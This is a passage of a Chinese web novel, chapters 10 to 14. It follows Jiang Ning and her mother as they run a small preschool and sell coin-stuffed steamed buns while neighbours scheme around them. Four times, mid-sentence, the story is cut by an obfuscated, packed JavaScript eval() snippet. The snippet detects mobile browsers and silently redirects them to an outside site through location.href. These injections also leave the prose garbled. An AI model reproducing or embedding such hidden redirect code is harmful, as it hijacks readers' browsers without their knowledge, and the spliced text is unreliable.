姜宁三言两语抬了自家老姐妹，又为自己在姐妹前做了脸，魏婆子贴熨，如同寒天喝了热饮，投桃报李，看着姜氏：“街坊们能这么快接纳我们的小学堂，屋子改造的非常成功，姜妹子功不可没，快说说，都花了多少钱？” 被夸成大工臣，姜氏裂开嘴笑道：“没事，都是些小活计，不值当什么的。” 一旁的苏慎手张开得大大的比划，眼里的崇拜几乎要流出来：“一点都不是小活计，阿娘，你做了那么大的地铺，挖了可以盖房子的沙坑，还弄来了可以重复写字画画的黑板，实在太厉害了！” 儿子夸张的语气，冒着星星的眼，姜氏觉得自豪极了，这几日忙碌的疲惫一扫而空。 她咳嗽一声后道：“沙坑我挖了一个时辰，不值当什么，河沙麻烦了些，用箩筐从河底挖出来再挑回来，没花钱，地铺的稻草找城外田里的乡亲买的，花了三十文，就是小黑板费事了些，先从木器店里买了小桌面，再请棺材铺的伙计帮忙上黑色的油漆，做了二十个小黑板，三百文，一个大黑板两百文，合计花了五百文。 沙包我自己缝的，不花钱，石膏块找棺材铺老板要的，也没收钱，猪泡球拨浪鼓竹蜻蜓等玩具，是小板栗的，没花钱。” 魏婆子点点头，伸手从钱匣中拿出7串钱放到姜氏手中：“530文是你垫付的钱，余下170算你这三日你的工钱，我知道这么重的活计，170有些少，现在起步，你多担待些。” 姜氏惊愕不已，强势把170文推回去：“干自家的活，哪里能收钱，魏姐你莫要羞我了！” 两个人一个要给，一个不愿意要，推搡间几乎要打起来。 姜宁折中：“这样，阿娘收70文买红糖煮水喝，算是下水捞沙的补贴，其他的就算了，好不？” 这样说来，两人都说好。 3400文，余1600文利润，按照之前说好的分配，魏婆子分得800文，姜宁一家得800文。 分完钱，姜宁揭开锅盖，锅里温的饭菜端上桌：油亮亮的红烧肉，个大浑圆金麻球，颤巍巍的豆腐蒸蛋，浓香骨头汤炖白菜，每人再配一碗糯香新米饭。 魏婆子看着桌上红润油润的红烧肉，点缀了碧绿葱花黄白相间蒸嫩豆腐，淡绿色的小白菜汤，还有金黄色圆润的大麻球，红黄青绿，色香俱全。她咽了咽口水，感叹：“你忙了一天，随便弄几个菜就是，做这些，废老鼻子劲了吧？” 姜宁笑道：“以后和学堂小娃们吃一锅饭，就今日，我用剩下的食材重新做的，庆祝今日开业大吉，预祝我们的小学堂红红火火，蒸蒸日上，也愿我们两家，百财广进，金玉满堂。” 一席话说得在座的都笑了起来，魏婆子高兴的一人夹了块透亮晶莹颤巍巍的红烧肉：“快吃快吃，我们大家红红火火过新年，不对，是庆开业！” 小板栗和小娃们一起吃过晚饭，姜宁夹了个金黄色芝麻麻球给他抱着啃：“来来，我们小板栗接住金玉咯！” 见孙子乖巧抱着麻球啃，魏婆子便把自己碗里的红烧肉夹起，连皮带肉送进嘴巴，肥肉入口即化，肉香吸满了汤汁，甜而不腻，满口生香，对比起来，之前自己烧制的红烧肉就是被猪啃过的干柴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991616|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不仅嚼不动，还有一股子猪臊味。 她嘴里汁水横流，甜鲜肥美在舌尖绽开，心下满足的喟叹，自家果然眼睛毒辣，捡了一个宝贝租户回来，不仅能天天吃上美味饭菜，还能坐着收钱，果然有天上掉馅饼的事啊。 可惜，等她们走了，便没有这好事了。 要是这个租户能一直呆在这里便好了，诶，自家不是有个儿子么，要是能把苏宁说给自己儿子当续弦，那不就成一家人了？ 她眼前一亮，探灯一样的眼神顺着苏宁上下扫了两遍，盯着她单薄的小身体，暗自摇头，不行不行，这丫头毛都没长齐，成什么婚，给自家儿子当闺女还差不多。 当儿子的闺女，她慢慢咀嚼这句话，暮的扭头望向左手边的姜氏，眼里泛出精光：那便让姜氏给自家儿子做老婆不就行啦，哦嚯嚯，她简直太聪明了。 她仔细打量姜氏，别说，姜氏五官清秀，壮实能干，听说她男的去的早，这些年操劳了些，看着有些显老，将养一两年便转过来了，再说，女大三抱金砖，女大十三睡金砖，女大三十住金砖。 这么一来，苏宁和苏慎便是自家孙子孙女了哦。 想到这，她端起盘子的红烧肉，苏宁苏慎一人一块，剩下的一股脑舀进姜氏的碗里，眼里满是慈爱：“这些日子你辛苦了，多吃些肉补补哈！” 话是好话，语气不对头。 之前轻松愉快的气氛，突然变得诡异。 一直魏婆子都是亲切客气中透着疏离，现在突然变得过分热情亲昵起来，是怎么回事？ 姜氏摸不着头脑，阿了一声，眼神询问儿女，两人摇头表示不知道。 姜氏缩了缩脖子，挤出笑：“你太客气了，魏大姐，你也吃！” “嗨，说来街坊邻居都叫我魏大娘，你以后就叫我魏大娘，显得亲热。”她扭头看向姜宁苏慎：“以后你们和弟弟小板栗一样，管我叫魏婆婆就是。” 姜宁哦了一声，而后硬着头皮道：“魏婆婆，明日小学堂走上正轨，我娘明日继续出去卖柴火，我想着蒸些炊饼给我娘一起卖，要用到灶房，你看可以么？” 她递出把钥匙，连连保证：“你放心，小学堂的食材都锁在橱柜里，我家自己买米面调料，不会偷用小学堂的！” 魏婆子很好说话：“你这孩子，厨房以后都是你说了算，不用和我说哈！” 她按着脑袋想了想道：“我记得我床底下有一架小板栗他爹用坏的独轮车，我去翻出来，明日找木匠修一修，若能用便给你娘推着去卖柴火，免得她一直担着柴到处走，伤腰！” 吃完晚饭，姜宁收拾好厨房，把食材全部锁进橱柜里，到魏婆子房间里送钥匙，刚好她从床铺底下钻出来，满头满脸的灰，拖着一捆木头：“可算找到了，让你娘明日找木匠凑起来，补几个钉子，就可以用啦，来，给你！” 姜宁哭笑不得，打水给她梳洗后回后院。 家里姜氏和苏慎洗漱好头挨着头凑在铺上数钱，苏慎眼睛亮晶晶抬起头：“阿姐，我们有一千五百文了，等过了这十天，我们就可以去外婆家啦！” 姜宁考虑得更多：“阿娘，去外婆家，我们就空着手啊，不给舅舅姨妈带点东西去吗？” 11. 第11章 “我们空着手去吗？”人刘姥姥上荣国府打秋风带了一车萝卜干野菜条，他们去投奔姜氏娘家，不用准备些特产什么的，或者去到花城，他们以什么糊口呢？ 出嫁女回娘家，等于从兄弟碗里夺饭吃，被甩冷脸算是轻的，兄弟姐妹为家产打得头破血流的例子枚不胜举，接下来的路预见的不好走哇。 姜氏不是婚前天真不知事世的懵懂少女，她沉默半刻后，首次和一对儿女提起娘家的事：“其实，我当时是偷偷从家里跑出来的。” 说完她看了两人一眼，意料之外没从两人的眼神里发现鄙视，不屑，反而是好奇惊赞。 她嘴角微微俏起，暗叹不愧是她养大的娃，果然随她，有主见。 她继续道：“我出生梭族，我们梭族女主外，男主内，婚嫁和叶城不一样，我们那男不娶女不嫁，生下的孩子跟着阿娘取名，男子晚间到爱人家过夜，天亮离开。” “我带你父亲见你外婆，她嫌弃你阿爹不是梭族人不同意，嚷嚷着让我和你爹分手，那时我已有你阿姐，一气之下便和你父亲离了梭族，后辗转几年，回了你爹老家叶城苏家村。” 姜宁愕然了一下，想不到老娘挺时髦，竟然玩自由恋爱离家出走这一套。转而恍然，难怪老娘这些年乐呵呵像个老黄牛一般在外操劳，把阿慎养得扭捏胆小，根都在这儿，在她心底，女子就该赚钱养家做主，男子合该在家带娃做饭。 她也瞬间领悟了姜氏话里的意思：老娘我拥有合法继承权。 天下没有白得的午餐，姜宁询问：“那我们回去，需要做些什么？” 姜氏看了她一眼：“你需要改个姓，我才好和你几个姨妈开口！”开口干什么，自然是讨价还价争家产。 原来她是富二代！ 网上流传的那句装格满满的炫耀竟然实现在她身上：如不能做出些成绩，只能回家继承祖业了。 “以后便叫姜宁吧！” 姜宁茫然的睁大眼睛，兜兜转转，她又叫回了自己的名字，脑中闪过一丝疑惑，她来到这个世界，真的是巧合吗？ 她试着呼唤脑中的系统寻求答案，系统那日诈尸了一次后便又死了，多次呼喊无果她无奈放弃。 一边的苏慎急切道：“我呢，我呢，阿娘，我叫什么？” “你啊，你就不用改了！”梭族不看重男孩，随意。 阿姐阿娘姓姜，就他一个外人姓苏，小家伙委屈的瘪了嘴，晶莹的泪珠在眼眶里打转。 姜宁连忙哄道：“改的，改的，你自然改叫姜慎！”希望你以后不要后悔。 改名更姓哪里那么简单，得去找苏老头要户籍帖，去衙门里更正，行吧，他们先单方面改掉，剩下的以后再说。 三言两语解释完前尘往事，几人又说起过分热情的魏婆子。 姜氏摸了摸后颈的鸡皮疙瘩：“不晓得为什么，她那眼神看得我心里发毛，好似我是锅里待吃的鸭子！” 姜宁想不清楚其中的缘由：“管他的，我们过了中秋便走，她便有天大的计较和我们不相干！” 她把独轮车的事提了一下，姜氏蹙眉：“独轮车比起担着走轻巧，但我停下来卖柴火不方便阿。”停车就翻车，麻烦。 姜宁提意见：“你让木匠给你加一根脚架，停下来的时候支撑不倒就可以了嘛！” 说着她金鸡独立，用另一只脚学着自行车的脚架比划了一下，姜氏眸光大亮，好主意。 姜宁继续诱导：“阿娘，魏婆婆同意我们用他家的大铁锅和蒸笼，我明日早早起床做篮子炊饼，和米糕，你顺带着和柴火一起卖，若是饿了，也可以取一个填肚子。” “我们去外婆家前，多赚些钱傍身！”虽说她是富二代预备役，但现在龙搁浅滩，该赚的钱必须赚，必须先弄一个蚊帐来，为了躲蚊子，她夜夜用被子捂着脑袋睡觉，都快憋成傻子了。 姜氏摆手不愿意：“你本来就矮，日日起那么早，觉睡不够，会长不高的！等我们回到梭族，漫山遍野的野果，满溪满沟的鱼虾，你想怎么吃就怎么吃。” 话是关心人的，说出来就那么让人无语呢。 姜宁低头不语，决定先斩后奏，她不像姜氏那样随遇而安，不拘小节。她受够了要啥没啥的日子，家里只有一只小铁锅，小茶炉，连个蒸笼都没有，为了做炊饼，她筹谋了好几天，才哄得魏婆婆开心，同意借用，半途而废是不可能的。 再说，那份虚无缥缈的家产在哪不晓得，握在手里的铜钱才是实实在在的。 次日一早凌晨，她摸黑起来，想了想，蒸了两种口味的炊饼：白面炊饼，灰面炊饼，还有白米圆发糕，做的时候，弄了个小心机，希望能给姜氏打开局面。 姜氏从木匠铺修好独轮车回来，在扶手附近加了两只木脚，和轮子形成三足鼎立稳定结构，只要放下扶手，独轮车稳稳当当停在那儿，比她出的主意靠谱，嗯，专业的事情交给专业的人做。 捆上柴火正要出门，姜宁提着两大个洗刷得纹理清晰的篮子出来，里头白布包着鼓鼓囊囊的炊饼，姜宁低声对着她说了一阵，姜氏挑挑眉出发。 她羡慕的看着走街游巷的姜氏背影，快了，等离开叶城，她也可以自由行走，不用日日躲在家里。 约莫一刻钟后，小学堂的小娃儿们陆陆续续进门，进行新一日的学习。 带着孩子们吃过早食物，姜宁领着孩子们逐字逐句背诵诗句。 第一首《白玉盘》：“小时不识月，呼作白玉盘，又疑瑶台镜，飞在青云端！” 第二首《月光》：“床前明月光，疑是地上霜，举头望明月，低头思故乡！” 第三首《中秋》：“寂寂中秋夜，祥瑞出乌龟，寿长过雁行，福多压云低！” 好奇的小娃们询问：“宁阿姐，啥是白玉盘啊，能吃不？” 化身带货主播的姜宁：“真正的白玉盘啊，指的是白玉雕刻的盘子，就像月亮一样，可以装菜菜，不能吃的，可是，我一想到你们吃不到，我心里难受的慌，睡也睡不着，就在梦里爬上天，抓住了月亮的影子，逮回来给你们吃，它变成了个白玉盘，喏，是不是又白又圆啊？” 说着，她拿出背后蒸好的圆形米发糕。 在小朋友们面前晃悠了一圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991617|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，她得意道：“这可是月亮变的白玉盘，吃了后像月亮一样，亮堂堂的，走路不用带灯笼，还特别招兔子喜欢，月亮和我悄悄说了，谁要是能把这三首歌儿学会，就给谁吃白玉盘哦！” 被白玉盘吊着的小娃们铆足了劲跟着读，一声大过一声，就用了一上午，小娃们能参差不齐背个囫囵。 到了下午点心时刻，姜宁兑现承诺，白玉盘分给大家吃。 小胖迫不及待咬了一大口，三两口咀嚼后咽下肚，哇的哭出声来：“宁阿姐骗人，白玉盘和米兔一个味道！” 姜宁理所应当：“米兔和白玉盘都住在月亮上，当然味道一样啦！” “你觉得白玉盘不好吃吗？那你还给我。” 小胖连忙把手往后躲，有些委屈：“好吃的，好吃的，和米兔一样酸甜松软，只是我觉得白玉盘应该和家里的婉盘一样，摔地上就碎，脆脆的，不该是兔子一样ruarua的。” 姜宁诧异看他一眼，哟，这小胖子在吃上还挺有想象力。 她不吝啬夸奖，“你真聪明，我答应你们，今晚再做梦，爬到月亮上，偷一个一摔就碎的白玉盘回来，好不好阿？” 情绪低落的小娃儿们瞬间被哄好了，开始叽叽喳喳比谁用牙齿咬的小白玉盘更圆。 被安排的小板栗站起来：“宁阿姐，什么是故乡？” 大家齐刷刷的竖起耳朵，都想知道故乡又是什么，它的香味是什么样的？ 姜宁面不改色：“故乡就是米兔香啦！你长大后出了门，想闻一闻家里的米兔的香味，就叫思故乡。” 众小娃发出哦的声音，交头接耳说我来思思你的故乡。 小板栗又站起来，大声询问：“宁阿姐，我最喜欢米兔一样的白玉盘，圆圆的，就像月亮一样，可以给我一个，我给阿奶吃吗？” 小胖掰着手指头：“我最喜欢阿奶，阿娘，我要两个！” 其他小娃们也此起彼落嚷嚷着阿爹最好，阿爷最棒，争着讨要。 姜宁笑道：“那不行，我的白玉盘只够我们小学堂的娃儿们吃，要多的，可以去外面的发财饼摊买！” “为什么叫发财饼摊，在哪里啊？” “就是街上又有发糕，又有柴火的摊子！你们一看就知道了。” 姜宁在教小孩儿们的时候，经常夹带私货。一旁的苏慎，不，应该是姜慎瑟瑟发抖。 “阿姐，我们这样，会不会挨打？” 好好的思故乡解释想闻米兔香，也太扯了。 姜宁很无奈：“他们一群两三岁的小萝卜头，知道故乡是什么东西吗？认真解释，那叫拔苗助长，改成他们喜爱的吃食，他们才不会忘词。” 等他们长大了，经历了人生的酸甜苦辣咸，便知道，小时爹娘全心的关爱，小伙伴们一起用嘴啃白玉盘，小学堂里互闻米兔酸甜，便是永远怀念的故乡。 而她姜宁今日教他们的读的诗，做的米兔，蒸的白玉盘，便成为他们永远的故乡。 姜宁悄悄为自己撒下一颗种子，暗搓搓期待它长成参天大树，那边姜氏的发财饼摊，真的有人发财了！ 12. 第12章 姜氏推着车走街串巷卖柴火，早有老主顾看见她，远远抱怨：“好你个卖柴娘，好几日不见，害得我都没柴用。哟，都用上推车了，去哪里发财了啊？” 姜氏笑着扯皮：“寇嫂子，我的错我的错，因回老家下地秋收，耽搁了几天。这不，家里新收的麦子磨面，立马新做了炊饼，来请你们老主顾提提意见，因担麦子扭了腰，实在挑不动担子，才租了个车来给街坊们送柴。” 寇嫂子便是比别人少给一文钱买柴的妇人，因省了一文，每次买柴非她不可。 开始看见姜氏换了车，有些不高兴，自家都没车呢。 听说她扭了腰还要租车出门卖柴，瞬间又舒坦了，果然，人啊，乐趣建立在别人的不幸之上。 她带了丝嫌弃：“你们乡下做的炊饼，能吃吗？” 姜氏也不恼，陪着笑和周边看热闹的人道：“不仅能吃，还能发财！” 说着，她在一边挂着的木桶里洗净手，用白布擦干，又带了只白布手套，揭开白布包着的篮子，露出里头一个个小山堆一样的雪白炊饼，她随意捡起一个捏了下，暄软回弹，顺手撕成两半，能看到断面上细密均匀的气孔，最最重要的，中间还有一枚光洁黄亮的铜钱！ 姜氏解释：“我们发财炊饼用的是今年新收上来的精细白面，省发两次后蒸制的，口感棉实细腻，暄软有嚼劲。只卖二文钱一个，这篮子里共一百个白面炊饼，里头十个炊饼里藏了铜板，我自己也不知道，谁买到，不就是赚到了么？” 她指着旁边的灰面炊饼道：“这一百个灰面炊饼里也藏了五个有铜板的，只卖一文一个，要是买到了，相当于不要钱吃炊饼，这就是现实版的天上掉馅饼啦！” 她揭开最后一篮，是码放整齐的圆盘大小的雪白米发糕，笑道：“若不喜麦面，也可以试一试我家的精米做的白玉盘，特别加了白糖的米发糕，自带酒香，酸甜可口，这么大一个只要三文，摆在盘子上和月亮一样亮眼，又体面又美味，而且特别适合肠胃娇弱的老人小孩。” 寇嫂子听完伸出头去摸白面炊饼，想通过重量找出藏着铜钱的那个。 姜氏提着篮子躲开，笑道：“寇嫂，这是入口的东西，可不兴拿手摸，你看要哪几个，我给你捡？” 说着她挤挤眼：“诶，要是今日没带钱，不妨挑几个灰面的，味道同样好的。” 寇嫂子受不了她的挤兑，丢了十文到她车上，冷哼：“不就是几个铜板么，说得谁没有似的，把白面的给我来五个！” 说完，凑着篮子看，左挑右选，巴不得长出一双透视眼，找出里头藏着钱的炊饼。 好不容易选好五个，姜氏拿个干净的大叶子包好递给她，招呼其他看热闹的客人。 寇嫂急忙撕开炊饼，五个里头，只有一个里头有铜板，她狠狠瞪了一眼姜氏，打算痛骂她家的炊饼难吃，发誓要挑无数的错出来。 咬一嘴炊饼，嗯，味道还不错，暄软有嚼劲，麦香中带着回甘，不知不觉就吃完两个，满足的打了嗝。 肚子已经半饱，她咳嗽一声，大声嚷嚷：“你家炊饼难吃的要死，退钱，退钱！” 姜氏已经卖了一些，回头看着她，重重的把独轮车旁挂着的一围柴火丢在地上，无意展示了一下自己的大力气、 似笑非笑：“寇嫂，你后悔花了钱要退可以，把我们家五个炊饼还来就是，莫要信口雌黄说我家炊饼难吃，难吃你还一口气干掉两个！” 众人对着她手里三个炊饼指指点点，寇嫂老脸一红，强行辩解：“我是舍不得糟蹋粮食，这么好的精白面，不吃到肚子里去要遭天谴的！” 姜氏听她无意中夸自家炊饼用的材料好，应和道：“是，我们家白面炊饼用的是十文一斤的精白面，所以格外醇香，你舌头很厉害哩。” 看她手中一眼，“要退可以，诺，这个炊饼里的铜钱一起还来就是。你可想好了，这铜钱代表着福气，吃到就是你要发财了的意思，你确定要退给我吗？”街坊顺着姜氏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991618|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指，实现落在寇嫂手中的荷叶上，有个炊饼中间隐着一个圆形的凹痕，应该是原来包铜钱的地方。 吃到肚里的钱，哪里还有往外吐的道理，要退了回去，不就白买了另外四个了，而且寓意好啊！ 这么多人看着，她没继续闹腾，冷哼一句算你识相，挤开人群走了。 寇嫂多刁难刻薄的人啊，连她都挑不出错来，这家发财炊饼错不了，大家一拥而上，不一会炊饼米糕销售一空，后头挤过来的人询问，姜氏记得女儿的话，答道：“今日没了，明日请早。” 柴火也不卖了，抱着篮子推着车回魏婆婆家。 周家粮铺的韦婆子听到有卖炊饼送铜钱的消息，捡鸡蛋的她立马起身去抢便宜，等她循着人群去到小巷，人已经散开了，她好似丢了八百文，失魂落魄走回家，发现后院鸡从鸡圈里飞了出来，拉了一院子，到处脏兮兮的。 韦婆子心气不顺，看见苏悦低眉顺眼坐在柜台边看店，没好气骂道：“成天百日就会吃干饭，人家乡下来的村妇，担柴卖炊饼日进斗金，到了你这里，只会偷奸耍滑，你倒是也做一个去卖啊，只会吃吃吃……” 周鑫走了出来，给韦婆子捶肩：“阿娘从哪里来，是谁给你气受了，走，到后面我给你捏捏肩头，你说给我听，我给你想办法！您先过去，我给你抓一把瓜子磕。” 他哄走韦婆子，去抓瓜子，轻声对苏悦道：“娘亲气性大，每日操持家里不容易，你一天闲着当奶奶，多体谅体谅她，多顺着她就是，何苦板着个脸给她看，诶，阿悦，你越来越不懂事了。” 苏悦气得脸色发白，静静的看着他：“你也觉得我吃干饭的？” 周鑫眼看妻子动气，连忙哄着：“没有没有，我娘子日日忙碌，我们一家都离不开你，你听，巧儿又哭了，你快去看她。” 周家鸡飞狗跳，隔壁的胡光骏偷偷摸摸溜进爹娘的房屋，叶城最近有大变动，他要准备一笔现银，自己手里没有，先借阿爹存银用一用。 13. 第 13 章 胡光骏趁着二老出门上香的功夫，溜进他们的卧室，熟门熟路挪开床头柜，撬起第一块地砖，顺走里头的钱袋后把一切恢复原样，揣着钱袋回自己的房间，紧闭门窗清点阿爹的私房钱，五十三两有余，远远不够啊。 上辈子，中秋节后三日，发生了件震动朝野的大事：北沅使团里的贵人竟死了，北沅追着朝廷讨说法，要求朝廷十日内揪出下毒谋害之人。 翻来覆去查了半月，哪里找到出来，最后赔钱了事。 朝廷国库空虚，开放皇恩，允许捐纳，隔壁的周鑫老娘媳妇齐心，不惜卖了粮店，凑足700两银输财求官，弄了个登仕郎当，从此走上仕途，傻人有傻福，竟一路高升，做到一方大老爷，韦婆子成了老夫人，他自己娇妻美妾环绕，好不得意。 他因家中三个兄弟，爹娘不愿意把宝压在他身上，找理由说捐纳是歧途，莫要误了科举正途，要他踏实念书，堂堂正正做官。 呵，幼稚，这年头踏踏实实科举的，哪有背靠高门升得快。 只苏宁一人站在他身边，从苏家弄了七八百铜钱来，那点子铜钱杯水车薪，连捐纳官的门都进不去，他手里无银，望洋兴叹，眼睁睁看着周鑫一飞冲天，自己一辈子蹉跎。 这辈子，他一定不能错过这个高升的机会，嗯，今日借到阿爹的私房五十两，他定然不敢伸张，苏宁家底薄，弄不到钱，那只能从高小姐这边想想法子。 想到苏宁，他一阵心旌摇荡，好些日子没有去苏家村，不晓得这小妮子有没有想他。 罢了，现在他以事业为重，待一切走上正途，自然不会亏待她。 胡光骏思绪转到高明珠身上。 明珠衣食无缺，见惯了奇珍异宝，不缺胭脂水风。她身边不是嬷嬷便是丫鬟，少有家人的关怀，而他，胸腔里拥有一颗比真金还真的心，可以补足这个空缺。 想到这，他掏出纸笔，在草纸上，挖空心思撰写第十六封充满关爱真心的书信，一直写到天黑，废纸丢了半箩筐，弄出一封辞藻华丽感情真挚又含蓄委婉的书信，寄托他的满腔热忱和关怀，读完后他心思澎湃，小心翼翼认真抄写在重金准备的薛涛笺上，一面写一面肉疼，这信笺漂是漂亮，就是太贵了，平均10文一小张，写一次信得去掉五六十文，还是他的小美人宁儿好养活，懂事又省心。 胡光骏肉痛得直抽抽的时候，姜宁脑海中沉寂多日的系统电子音再次响起：收货一枚心值，系统节能中，请宿主收集尽量多心值，恢复系统正常功能。 好家伙，原来系统像手机一样，没电了，喂喂，你别节能啊，你倒是说，要怎么充能啊？ 无论姜宁如何无能狂怒，抓狂扭曲爬行，脑海中又恢复了宁静，电子音根本不搭理她。 好吧，这该死的系统，又死机了！ 她没有内耗多久，因为姜氏采买材料回来了。 因为炊饼里包了铜钱，生意竟出奇的好，姜氏早早回来，下午也没出去卖柴，支使她准备明日的炊饼，家里还有十八个嗷嗷待哺的萝卜头，她哪里忙得过来，便打发姜氏出去采买。 昨日做了一百个白面炊饼，一百个灰面炊饼，五十个米发糕，白面炊饼去掉面粉奖金，赚了140文，灰面炊饼赚了70文，白玉盘米发糕赚了100文，每个米发糕能赚2文，单价偏高，她不敢多做，不算人力柴火设备场地等费用，这一日净利润高达310文。 姜宁舒了口气，这样算下来，和搬运一天麻袋差不多。 所以，人家武大郎在清河县有两层临街商住一体铺面，还做着祖传的炊饼生意，既有安身立命的房子，又有糊口的手艺，过的是她梦寐以求的安稳幸福日子。 按照姜氏卖炊饼的速度，估摸还能卖一二百个一天，问题是，韦婆子家只有一口铁锅，一层蒸屉，她只能做出这么多来，再多的需要重新砌灶台，置办铁锅等，她们租房呢，厨房都是她蹭用的，哪能如此不知好歹。 而且，她还要照管十八个小萝卜头的饮食，根本忙不过来。 琢磨了半日，想了个招儿，灶台没有新的，她们可以加蒸笼啊，所以她让姜氏带着韦婆子家铁锅的尺寸，去寻摸个大蒸笼，争取明日能多蒸些炊饼米糕出来。 晚些掌灯的时候，姜氏才回来，背上全是东西，她一样一样往灶房搬，最后指着桌子上两层崭新的大蒸笼，急急忙忙灌了口水润嗓后：“寻了好多竹器铺子，没有蒸笼，最后在木匠那里，让他帮着现做了个双层的，就是价格有些贵。” 她晃了晃手指：“整整三百文！” 嗯，今日赚的钱又全部投进去了，而且，买米面糖的钱，还是从积蓄里拿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991619|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姜氏抚摸着瘦身的钱袋，惆怅不已：“我们明明赚钱了啊，怎么钱袋还轻了许多？” 姜宁翻看蒸笼，嗯，打磨的很光滑，空间也很大，完全够用了，令人惊喜的是，大蒸笼里头还藏着一只小蒸笼，刚好可以在她们家的小铁锅上使用。 姜氏得意洋洋道：“木匠小哥说我是老主顾了，大蒸笼木料贵，费事，不能优惠，但可以打折卖我一只小蒸笼，我估摸着这只配我们家小铁锅的尺寸，便掏钱买了，原价50文，他收了我20文。” 其他三袋便是白面，灰面和米面了，当然，还有最贵的白糖盐巴等。 姜宁瞟了一眼姜氏的脸色，还算不错，小心张口：“买这么些粮食，完全可以去姐夫家买啊，既可以照顾他家生意，我们也能便宜些！” 说起这事，姜氏便来气：“我懒得去，那个韦婆子吊梢三角眼看人，实在瘆得慌，嘴巴不干不净的，我去了忍不住和她吵起来，你姐难堪。” 说起这些，她一肚子的糟心：“明事理的，知道我们互相抬举，偏偏那韦婆子心眼子小，以为我们占他便宜。” “早些年周鑫爹还在的时候，他们家做事体面妥当，这些年，他家韦婆子当家，越发没有成算，你姐夫也是个窝囊废，由着韦婆子欺负你姐。我和你姐说过好几次，能过过，不能过带着巧儿回家，三条腿儿的□□难找，两条腿的男子，遍地都是，她非说韦婆子难缠，但周鑫是好的，她忍着些便过去了。” “她自己立不起来，我能怎么办？真是要被她气死了！”姜氏说着说着，胸口起伏越来越大，气得狠了，重重拍了下桌子，四方桌颤巍巍晃悠几下，差点被她劈散架。 姜宁和苏慎对望一眼，默契缩在一边，安静如鸡，生怕触了霉头，被一巴掌拍在肩膀上。 过了一会，等得她气消了些，姜宁询问：“那中秋节，我们要悄悄回去苏家村看看吗？” 姜氏隔空问候了韦婆子周鑫一番，心情舒畅了些，听她询问，没好气道：“回去干嘛，回去又被锁着出不来么？” “这几日我们辛苦些，赚了钱给你爷你奶多扯几尺布，我得闲时悄悄去寻你阿姐，等我们离开叶城后，让她再送回去。” 大家都没提带着苏悦一家一起走的话，想来周鑫是不会愿意离开叶城的。 14. 第 14 章 次日凌晨子时，月朗星稀，姜宁悄摸摸起床，打着呵欠摸黑去厨房准备揉面，她前脚进了灶房点亮油灯，后脚姜氏跟了进来，轻轻推她一把：“你把面水放好，我来揉面，你只管再去睡一会！” 姜氏做力气活是一把好手，在吃食上好似木头人一般，揉面要么干硬，要么软塌塌的，大部分灶房的活计都是姜宁一人做的，昨日打了一天的哈欠，姜氏看在眼里，疼在心里，所以听到动静，立马爬起床，跟着做些力气活计。 今日蒸的炊饼是昨日的三倍，姜宁没有逞强，调好面水比例，一盆面撒上半勺雪白的细盐，教姜氏用手掌根发力揉面，力求三光，面光盆光手光。 姜氏盯着雪白均匀的颗粒诧异至极：“这是我买的盐？炊饼还要放盐啊？”她记得买的盐巴看着很粗糙的。 姜宁解释：“你买的盐巴味道太杂，我重新筛过，只保留了咸味。盐是百味之王，放一点盐，炊饼吃不出咸味，但很提味，感觉会很香。” 她严肃的加了一句：“你在外头莫要漏了口风，这是我们家炊饼味美的关键，说出去别人跟着做，我们做的炊饼卖不出去了。” 粗盐杂志多，隐含苦味，她把买回来的粗盐化在热水中，加入草木灰反应后，再用多层白布过滤，得到净化后的咸水溶液，煮沸得到细盐结晶，取出后在太阳下晒干。 这些都是她偷偷摸摸躲在灶房里做的，不敢让人知道。平时她一人做饭，也没把细盐收起来，今日疏忽了，她暗暗警戒，寻了个油纸包把细盐包起来，贴身存放，罐子里依旧倒入粗盐。 有了姜氏的分担，她轻松了许多，琢磨着给炊饼夹入馅料。 她从姜氏昨日买的杂粮袋中，找出苏子和红糖，打算做苏子糖心炊饼。 